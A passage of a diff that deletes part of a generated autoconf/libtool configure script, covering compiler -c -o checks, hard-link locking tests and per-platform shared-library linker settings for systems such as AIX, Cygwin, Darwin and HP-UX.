- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
-
- lt_compiler_flag="-o out/conftest2.$ac_objext"
- # Insert the option either (1) after the last *FLAGS variable, or
- # (2) before a word containing "conftest.", or (3) at the end.
- # Note that $ac_compile itself does not contain backslashes and begins
- # with a dollar sign (not a hyphen), so the echo should work correctly.
- lt_compile=`echo "$ac_compile" | $SED \
- -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \
- -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \
- -e 's:$: $lt_compiler_flag:'`
- (eval echo "\"\$as_me:__oline__: $lt_compile\"" >&5)
- (eval "$lt_compile" 2>out/conftest.err)
- ac_status=$?
- cat out/conftest.err >&5
- echo "$as_me:__oline__: \$? = $ac_status" >&5
- if (exit $ac_status) && test -s out/conftest2.$ac_objext
- then
- # The compiler can only warn and ignore the option if not recognized
- # So say no if there are warnings
- $echo "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' > out/conftest.exp
- $SED '/^$/d; /^ *+/d' out/conftest.err >out/conftest.er2
- if test ! -s out/conftest.er2 || diff out/conftest.exp out/conftest.er2 >/dev/null; then
- lt_cv_prog_compiler_c_o=yes
- fi
- fi
- chmod u+w . 2>&5
- $rm conftest*
- # SGI C++ compiler will create directory out/ii_files/ for
- # template instantiation
- test -d out/ii_files && $rm out/ii_files/* && rmdir out/ii_files
- $rm out/* && rmdir out
- cd ..
- rmdir conftest
- $rm conftest*
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_c_o" >&5
-$as_echo "$lt_cv_prog_compiler_c_o" >&6; }
-
-
-hard_links="nottested"
-if test "$lt_cv_prog_compiler_c_o" = no && test "$need_locks" != no; then
- # do not overwrite the value of need_locks provided by the user
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking if we can lock with hard links" >&5
-$as_echo_n "checking if we can lock with hard links... " >&6; }
- hard_links=yes
- $rm conftest*
- ln conftest.a conftest.b 2>/dev/null && hard_links=no
- touch conftest.a
- ln conftest.a conftest.b 2>&5 || hard_links=no
- ln conftest.a conftest.b 2>/dev/null && hard_links=no
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $hard_links" >&5
-$as_echo "$hard_links" >&6; }
- if test "$hard_links" = no; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: \`$CC' does not support \`-c -o', so \`make -j' may be unsafe" >&5
-$as_echo "$as_me: WARNING: \`$CC' does not support \`-c -o', so \`make -j' may be unsafe" >&2;}
- need_locks=warn
- fi
-else
- need_locks=no
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $compiler linker ($LD) supports shared libraries" >&5
-$as_echo_n "checking whether the $compiler linker ($LD) supports shared libraries... " >&6; }
-
- runpath_var=
- allow_undefined_flag=
- enable_shared_with_static_runtimes=no
- archive_cmds=
- archive_expsym_cmds=
- old_archive_From_new_cmds=
- old_archive_from_expsyms_cmds=
- export_dynamic_flag_spec=
- whole_archive_flag_spec=
- thread_safe_flag_spec=
- hardcode_libdir_flag_spec=
- hardcode_libdir_flag_spec_ld=
- hardcode_libdir_separator=
- hardcode_direct=no
- hardcode_minus_L=no
- hardcode_shlibpath_var=unsupported
- link_all_deplibs=unknown
- hardcode_automatic=no
- module_cmds=
- module_expsym_cmds=
- always_export_symbols=no
- export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols'
- # include_expsyms should be a list of space-separated symbols to be *always*
- # included in the symbol list
- include_expsyms=
- # exclude_expsyms can be an extended regexp of symbols to exclude
- # it will be wrapped by ` (' and `)$', so one must not match beginning or
- # end of line. Example: `a|bc|.*d.*' will exclude the symbols `a' and `bc',
- # as well as any symbol that contains `d'.
- exclude_expsyms="_GLOBAL_OFFSET_TABLE_"
- # Although _GLOBAL_OFFSET_TABLE_ is a valid symbol C name, most a.out
- # platforms (ab)use it in PIC code, but their linkers get confused if
- # the symbol is explicitly referenced. Since portable code cannot
- # rely on this symbol name, it's probably fine to never include it in
- # preloaded symbol tables.
- extract_expsyms_cmds=
- # Just being paranoid about ensuring that cc_basename is set.
- for cc_temp in $compiler""; do
- case $cc_temp in
- compile | *[\\/]compile | ccache | *[\\/]ccache ) ;;
- distcc | *[\\/]distcc | purify | *[\\/]purify ) ;;
- \-*) ;;
- *) break;;
- esac
-done
-cc_basename=`$echo "X$cc_temp" | $Xsed -e 's%.*/%%' -e "s%^$host_alias-%%"`
-
- case $host_os in
- cygwin* | mingw* | pw32*)
- # FIXME: the MSVC++ port hasn't been tested in a loooong time
- # When not using gcc, we currently assume that we are using
- # Microsoft Visual C++.
- if test "$GCC" != yes; then
- with_gnu_ld=no
- fi
- ;;
- interix*)
- # we just hope/assume this is gcc and not c89 (= MSVC++)
- with_gnu_ld=yes
- ;;
- openbsd*)
- with_gnu_ld=no
- ;;
- esac
-
- ld_shlibs=yes
- if test "$with_gnu_ld" = yes; then
- # If archive_cmds runs LD, not CC, wlarc should be empty
- wlarc='${wl}'
-
- # Set some defaults for GNU ld with shared library support. These
- # are reset later if shared libraries are not supported. Putting them
- # here allows them to be overridden if necessary.
- runpath_var=LD_RUN_PATH
- hardcode_libdir_flag_spec='${wl}--rpath ${wl}$libdir'
- export_dynamic_flag_spec='${wl}--export-dynamic'
- # ancient GNU ld didn't support --whole-archive et. al.
- if $LD --help 2>&1 | grep 'no-whole-archive' > /dev/null; then
- whole_archive_flag_spec="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive'
- else
- whole_archive_flag_spec=
- fi
- supports_anon_versioning=no
- case `$LD -v 2>/dev/null` in
- *\ [01].* | *\ 2.[0-9].* | *\ 2.10.*) ;; # catch versions < 2.11
- *\ 2.11.93.0.2\ *) supports_anon_versioning=yes ;; # RH7.3 ...
- *\ 2.11.92.0.12\ *) supports_anon_versioning=yes ;; # Mandrake 8.2 ...
- *\ 2.11.*) ;; # other 2.11 versions
- *) supports_anon_versioning=yes ;;
- esac
-
- # See if GNU ld supports shared libraries.
- case $host_os in
- aix3* | aix4* | aix5*)
- # On AIX/PPC, the GNU linker is very broken
- if test "$host_cpu" != ia64; then
- ld_shlibs=no
- cat <<EOF 1>&2
-
-*** Warning: the GNU linker, at least up to release 2.9.1, is reported
-*** to be unable to reliably create shared libraries on AIX.
-*** Therefore, libtool is disabling shared libraries support. If you
-*** really care for shared libraries, you may want to modify your PATH
-*** so that a non-GNU linker is found, and then restart.
-
-EOF
- fi
- ;;
-
- amigaos*)
- archive_cmds='$rm $output_objdir/a2ixlibrary.data~$echo "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$echo "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$echo "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$echo "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)'
- hardcode_libdir_flag_spec='-L$libdir'
- hardcode_minus_L=yes
-
- # Samuel A. Falvo II <kc5tja@dolphin.openprojects.net> reports
- # that the semantics of dynamic libraries on AmigaOS, at least up
- # to version 4, is to share data among multiple programs linked
- # with the same dynamic library. Since this doesn't match the
- # behavior of shared libraries on other platforms, we can't use
- # them.
- ld_shlibs=no
- ;;
-
- beos*)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- allow_undefined_flag=unsupported
- # Joseph Beckenbach <jrb3@best.com> says some releases of gcc
- # support --undefined. This deserves some investigation. FIXME
- archive_cmds='$CC -nostart $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- else
- ld_shlibs=no
- fi
- ;;
-
- cygwin* | mingw* | pw32*)
- # _LT_AC_TAGVAR(hardcode_libdir_flag_spec, ) is actually meaningless,
- # as there is no search path for DLLs.
- hardcode_libdir_flag_spec='-L$libdir'
- allow_undefined_flag=unsupported
- always_export_symbols=no
- enable_shared_with_static_runtimes=yes
- export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS] /s/.* \([^ ]*\)/\1 DATA/'\'' | $SED -e '\''/^[AITW] /s/.* //'\'' | sort | uniq > $export_symbols'
-
- if $LD --help 2>&1 | grep 'auto-import' > /dev/null; then
- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
- # If the export-symbols file already is a .def file (1st line
- # is EXPORTS), use it as is; otherwise, prepend...
- archive_expsym_cmds='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
- cp $export_symbols $output_objdir/$soname.def;
- else
- echo EXPORTS > $output_objdir/$soname.def;
- cat $export_symbols >> $output_objdir/$soname.def;
- fi~
- $CC -shared $output_objdir/$soname.def $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
- else
- ld_shlibs=no
- fi
- ;;
-
- interix3*)
- hardcode_direct=no
- hardcode_shlibpath_var=no
- hardcode_libdir_flag_spec='${wl}-rpath,$libdir'
- export_dynamic_flag_spec='${wl}-E'
- # Hack: On Interix 3.x, we cannot compile PIC because of a broken gcc.
- # Instead, shared libraries are loaded at an image base (0x10000000 by
- # default) and relocated if they conflict, which is a slow very memory
- # consuming and fragmenting process. To avoid this, we pick a random,
- # 256 KiB-aligned image base between 0x50000000 and 0x6FFC0000 at link
- # time. Moving up from 0x10000000 also allows more sbrk(2) space.
- archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib'
- archive_expsym_cmds='sed "s,^,_," $export_symbols >$output_objdir/$soname.expsym~$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--retain-symbols-file,$output_objdir/$soname.expsym ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib'
- ;;
-
- linux*)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- tmp_addflag=
- case $cc_basename,$host_cpu in
- pgcc*) # Portland Group C compiler
- whole_archive_flag_spec='${wl}--whole-archive`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}--no-whole-archive'
- tmp_addflag=' $pic_flag'
- ;;
- pgf77* | pgf90* | pgf95*) # Portland Group f77 and f90 compilers
- whole_archive_flag_spec='${wl}--whole-archive`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}--no-whole-archive'
- tmp_addflag=' $pic_flag -Mnomain' ;;
- ecc*,ia64* | icc*,ia64*) # Intel C compiler on ia64
- tmp_addflag=' -i_dynamic' ;;
- efc*,ia64* | ifort*,ia64*) # Intel Fortran compiler on ia64
- tmp_addflag=' -i_dynamic -nofor_main' ;;
- ifc* | ifort*) # Intel Fortran compiler
- tmp_addflag=' -nofor_main' ;;
- esac
- archive_cmds='$CC -shared'"$tmp_addflag"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-
- if test $supports_anon_versioning = yes; then
- archive_expsym_cmds='$echo "{ global:" > $output_objdir/$libname.ver~
- cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~
- $echo "local: *; };" >> $output_objdir/$libname.ver~
- $CC -shared'"$tmp_addflag"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-version-script ${wl}$output_objdir/$libname.ver -o $lib'
- fi
- else
- ld_shlibs=no
- fi
- ;;
-
- netbsd*)
- if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
- archive_cmds='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
- wlarc=
- else
- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- fi
- ;;
-
- solaris*)
- if $LD -v 2>&1 | grep 'BFD 2\.8' > /dev/null; then
- ld_shlibs=no
- cat <<EOF 1>&2
-
-*** Warning: The releases 2.8.* of the GNU linker cannot reliably
-*** create shared libraries on Solaris systems. Therefore, libtool
-*** is disabling shared libraries support. We urge you to upgrade GNU
-*** binutils to release 2.9.1 or newer. Another option is to modify
-*** your PATH or compiler configuration so that the native linker is
-*** used, and then restart.
-
-EOF
- elif $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- ld_shlibs=no
- fi
- ;;
-
- sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX*)
- case `$LD -v 2>&1` in
- *\ [01].* | *\ 2.[0-9].* | *\ 2.1[0-5].*)
- ld_shlibs=no
- cat <<_LT_EOF 1>&2
-
-*** Warning: Releases of the GNU linker prior to 2.16.91.0.3 can not
-*** reliably create shared libraries on SCO systems. Therefore, libtool
-*** is disabling shared libraries support. We urge you to upgrade GNU
-*** binutils to release 2.16.91.0.3 or newer. Another option is to modify
-*** your PATH or compiler configuration so that the native linker is
-*** used, and then restart.
-
-_LT_EOF
- ;;
- *)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- hardcode_libdir_flag_spec='`test -z "$SCOABSPATH" && echo ${wl}-rpath,$libdir`'
- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib'
- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname,\${SCOABSPATH:+${install_libdir}/}$soname,-retain-symbols-file,$export_symbols -o $lib'
- else
- ld_shlibs=no
- fi
- ;;
- esac
- ;;
-
- sunos4*)
- archive_cmds='$LD -assert pure-text -Bshareable -o $lib $libobjs $deplibs $linker_flags'
- wlarc=
- hardcode_direct=yes
- hardcode_shlibpath_var=no
- ;;
-
- *)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- ld_shlibs=no
- fi
- ;;
- esac
-
- if test "$ld_shlibs" = no; then
- runpath_var=
- hardcode_libdir_flag_spec=
- export_dynamic_flag_spec=
- whole_archive_flag_spec=
- fi
- else
- # PORTME fill in a description of your system's linker (not GNU ld)
- case $host_os in
- aix3*)
- allow_undefined_flag=unsupported
- always_export_symbols=yes
- archive_expsym_cmds='$LD -o $output_objdir/$soname $libobjs $deplibs $linker_flags -bE:$export_symbols -T512 -H512 -bM:SRE~$AR $AR_FLAGS $lib $output_objdir/$soname'
- # Note: this linker hardcodes the directories in LIBPATH if there
- # are no directories specified by -L.
- hardcode_minus_L=yes
- if test "$GCC" = yes && test -z "$lt_prog_compiler_static"; then
- # Neither direct hardcoding nor static linking is supported with a
- # broken collect2.
- hardcode_direct=unsupported
- fi
- ;;
-
- aix4* | aix5*)
- if test "$host_cpu" = ia64; then
- # On IA64, the linker does run time linking by default, so we don't
- # have to do anything special.
- aix_use_runtimelinking=no
- exp_sym_flag='-Bexport'
- no_entry_flag=""
- else
- # If we're using GNU nm, then we don't want the "-C" option.
- # -C means demangle to AIX nm, but means don't demangle with GNU nm
- if $NM -V 2>&1 | grep 'GNU' > /dev/null; then
- export_symbols_cmds='$NM -Bpg $libobjs $convenience | awk '\''{ if (((\$2 == "T") || (\$2 == "D") || (\$2 == "B")) && (substr(\$3,1,1) != ".")) { print \$3 } }'\'' | sort -u > $export_symbols'
- else
- export_symbols_cmds='$NM -BCpg $libobjs $convenience | awk '\''{ if (((\$2 == "T") || (\$2 == "D") || (\$2 == "B")) && (substr(\$3,1,1) != ".")) { print \$3 } }'\'' | sort -u > $export_symbols'
- fi
- aix_use_runtimelinking=no
-
- # Test if we are trying to use run time linking or normal
- # AIX style linking. If -brtl is somewhere in LDFLAGS, we
- # need to do runtime linking.
- case $host_os in aix4.[23]|aix4.[23].*|aix5*)
- for ld_flag in $LDFLAGS; do
- if (test $ld_flag = "-brtl" || test $ld_flag = "-Wl,-brtl"); then
- aix_use_runtimelinking=yes
- break
- fi
- done
- ;;
- esac
-
- exp_sym_flag='-bexport'
- no_entry_flag='-bnoentry'
- fi
-
- # When large executables or shared objects are built, AIX ld can
- # have problems creating the table of contents. If linking a library
- # or program results in "error TOC overflow" add -mminimal-toc to
- # CXXFLAGS/CFLAGS for g++/gcc. In the cases where that is not
- # enough to fix the problem, add -Wl,-bbigtoc to LDFLAGS.
-
- archive_cmds=''
- hardcode_direct=yes
- hardcode_libdir_separator=':'
- link_all_deplibs=yes
-
- if test "$GCC" = yes; then
- case $host_os in aix4.[012]|aix4.[012].*)
- # We only want to do this on AIX 4.2 and lower, the check
- # below for broken collect2 doesn't work under 4.3+
- collect2name=`${CC} -print-prog-name=collect2`
- if test -f "$collect2name" && \
- strings "$collect2name" | grep resolve_lib_name >/dev/null
- then
- # We have reworked collect2
- hardcode_direct=yes
- else
- # We have old collect2
- hardcode_direct=unsupported
- # It fails to find uninstalled libraries when the uninstalled
- # path is not listed in the libpath. Setting hardcode_minus_L
- # to unsupported forces relinking
- hardcode_minus_L=yes
- hardcode_libdir_flag_spec='-L$libdir'
- hardcode_libdir_separator=
- fi
- ;;
- esac
- shared_flag='-shared'
- if test "$aix_use_runtimelinking" = yes; then
- shared_flag="$shared_flag "'${wl}-G'
- fi
- else
- # not using gcc
- if test "$host_cpu" = ia64; then
- # VisualAge C++, Version 5.5 for AIX 5L for IA-64, Beta 3 Release
- # chokes on -Wl,-G. The following line is correct:
- shared_flag='-G'
- else
- if test "$aix_use_runtimelinking" = yes; then
- shared_flag='${wl}-G'
- else
- shared_flag='${wl}-bM:SRE'
- fi
- fi
- fi
-
- # It seems that -bexpall does not export symbols beginning with
- # underscore (_), so it is better to generate a list of symbols to export.
- always_export_symbols=yes
- if test "$aix_use_runtimelinking" = yes; then
- # Warning - without using the other runtime loading flags (-brtl),
- # -berok will link without error, but may produce a broken library.
- allow_undefined_flag='-berok'
- # Determine the default libpath from the value encoded in an empty executable.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-int
-main ()
-{
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
-
-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`
-# Check for a 64-bit object if we didn't find anything.
-if test -z "$aix_libpath"; then aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`; fi
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
- archive_expsym_cmds="\$CC"' -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then echo "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
- else
- if test "$host_cpu" = ia64; then
- hardcode_libdir_flag_spec='${wl}-R $libdir:/usr/lib:/lib'
- allow_undefined_flag="-z nodefs"
- archive_expsym_cmds="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags ${wl}${allow_undefined_flag} '"\${wl}$exp_sym_flag:\$export_symbols"
- else
- # Determine the default libpath from the value encoded in an empty executable.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-int
-main ()
-{
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
-
-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`
-# Check for a 64-bit object if we didn't find anything.
-if test -z "$aix_libpath"; then aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`; fi
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
- # Warning - without using the other run time loading flags,
- # -berok will link without error, but may produce a broken library.
- no_undefined_flag=' ${wl}-bernotok'
- allow_undefined_flag=' ${wl}-berok'
- # Exported symbols can be pulled into shared objects from archives
- whole_archive_flag_spec='$convenience'
- archive_cmds_need_lc=yes
- # This is similar to how AIX traditionally builds its shared libraries.
- archive_expsym_cmds="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs ${wl}-bnoentry $compiler_flags ${wl}-bE:$export_symbols${allow_undefined_flag}~$AR $AR_FLAGS $output_objdir/$libname$release.a $output_objdir/$soname'
- fi
- fi
- ;;
-
- amigaos*)
- archive_cmds='$rm $output_objdir/a2ixlibrary.data~$echo "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$echo "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$echo "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$echo "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)'
- hardcode_libdir_flag_spec='-L$libdir'
- hardcode_minus_L=yes
- # see comment about different semantics on the GNU ld section
- ld_shlibs=no
- ;;
-
- bsdi[45]*)
- export_dynamic_flag_spec=-rdynamic
- ;;
-
- cygwin* | mingw* | pw32*)
- # When not using gcc, we currently assume that we are using
- # Microsoft Visual C++.
- # hardcode_libdir_flag_spec is actually meaningless, as there is
- # no search path for DLLs.
- hardcode_libdir_flag_spec=' '
- allow_undefined_flag=unsupported
- # Tell ltmain to make .lib files, not .a files.
- libext=lib
- # Tell ltmain to make .dll files, not .so files.
- shrext_cmds=".dll"
- # FIXME: Setting linknames here is a bad hack.
- archive_cmds='$CC -o $lib $libobjs $compiler_flags `echo "$deplibs" | $SED -e '\''s/ -lc$//'\''` -link -dll~linknames='
- # The linker will automatically build a .lib file if we build a DLL.
- old_archive_From_new_cmds='true'
- # FIXME: Should let the user specify the lib program.
- old_archive_cmds='lib /OUT:$oldlib$oldobjs$old_deplibs'
- fix_srcfile_path='`cygpath -w "$srcfile"`'
- enable_shared_with_static_runtimes=yes
- ;;
-
- darwin* | rhapsody*)
- case $host_os in
- rhapsody* | darwin1.[012])
- allow_undefined_flag='${wl}-undefined ${wl}suppress'
- ;;
- *) # Darwin 1.3 on
- if test -z ${MACOSX_DEPLOYMENT_TARGET} ; then
- allow_undefined_flag='${wl}-flat_namespace ${wl}-undefined ${wl}suppress'
- else
- case ${MACOSX_DEPLOYMENT_TARGET} in
- 10.[012])
- allow_undefined_flag='${wl}-flat_namespace ${wl}-undefined ${wl}suppress'
- ;;
- 10.*)
- allow_undefined_flag='${wl}-undefined ${wl}dynamic_lookup'
- ;;
- esac
- fi
- ;;
- esac
- archive_cmds_need_lc=no
- hardcode_direct=no
- hardcode_automatic=yes
- hardcode_shlibpath_var=unsupported
- whole_archive_flag_spec=''
- link_all_deplibs=yes
- if test "$GCC" = yes ; then
- output_verbose_link_cmd='echo'
- archive_cmds='$CC -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring'
- module_cmds='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags'
- # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin lds
- archive_expsym_cmds='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- module_expsym_cmds='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- else
- case $cc_basename in
- xlc*)
- output_verbose_link_cmd='echo'
- archive_cmds='$CC -qmkshrobj $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}`echo $rpath/$soname` $verstring'
- module_cmds='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags'
- # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin lds
- archive_expsym_cmds='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -qmkshrobj $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}$rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- module_expsym_cmds='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- ;;
- *)
- ld_shlibs=no
- ;;
- esac
- fi
- ;;
-
- dgux*)
- archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_libdir_flag_spec='-L$libdir'
- hardcode_shlibpath_var=no
- ;;
-
- freebsd1*)
- ld_shlibs=no
- ;;
-
- # FreeBSD 2.2.[012] allows us to include c++rt0.o to get C++ constructor
- # support. Future versions do this automatically, but an explicit c++rt0.o
- # does not break anything, and helps significantly (at the cost of a little
- # extra space).
- freebsd2.2*)
- archive_cmds='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags /usr/lib/c++rt0.o'
- hardcode_libdir_flag_spec='-R$libdir'
- hardcode_direct=yes
- hardcode_shlibpath_var=no
- ;;
-
- # Unfortunately, older versions of FreeBSD 2 do not have this feature.
- freebsd2*)
- archive_cmds='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags'
- hardcode_direct=yes
- hardcode_minus_L=yes
- hardcode_shlibpath_var=no
- ;;
-
- # FreeBSD 3 and greater uses gcc -shared to do shared libraries.
- freebsd* | kfreebsd*-gnu | dragonfly*)
- archive_cmds='$CC -shared -o $lib $libobjs $deplibs $compiler_flags'
- hardcode_libdir_flag_spec='-R$libdir'
- hardcode_direct=yes
- hardcode_shlibpath_var=no
- ;;
-
- hpux9*)
- if test "$GCC" = yes; then
- archive_cmds='$rm $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- else
- archive_cmds='$rm $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- fi
- hardcode_libdir_flag_spec='${wl}+b ${wl}$libdir'
- hardcode_libdir_separator=:
- hardcode_direct=yes
-
- # hardcode_minus_L: Not really in the search PATH,
- # but as the default location of the library.
- hardcode_minus_L=yes
- export_dynamic_flag_spec='${wl}-E'
- ;;
-
- hpux10*)
- if test "$GCC" = yes -a "$with_gnu_ld" = no; then
- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
- fi
- if test "$with_gnu_ld" = no; then
- hardcode_libdir_flag_spec='${wl}+b ${wl}$libdir'
- hardcode_libdir_separator=:
-
- hardcode_direct=yes
- export_dynamic_flag_spec='${wl}-E'
-
- # hardcode_minus_L: Not really in the search PATH,
- # but as the default location of the library.
- hardcode_minus_L=yes
- fi
- ;;
-
- hpux11*)
- if test "$GCC" = yes -a "$with_gnu_ld" = no; then
- case $host_cpu in
- hppa*64*)
- archive_cmds='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- ia64*)
- archive_cmds='$CC -shared ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- else
- case $host_cpu in
- hppa*64*)
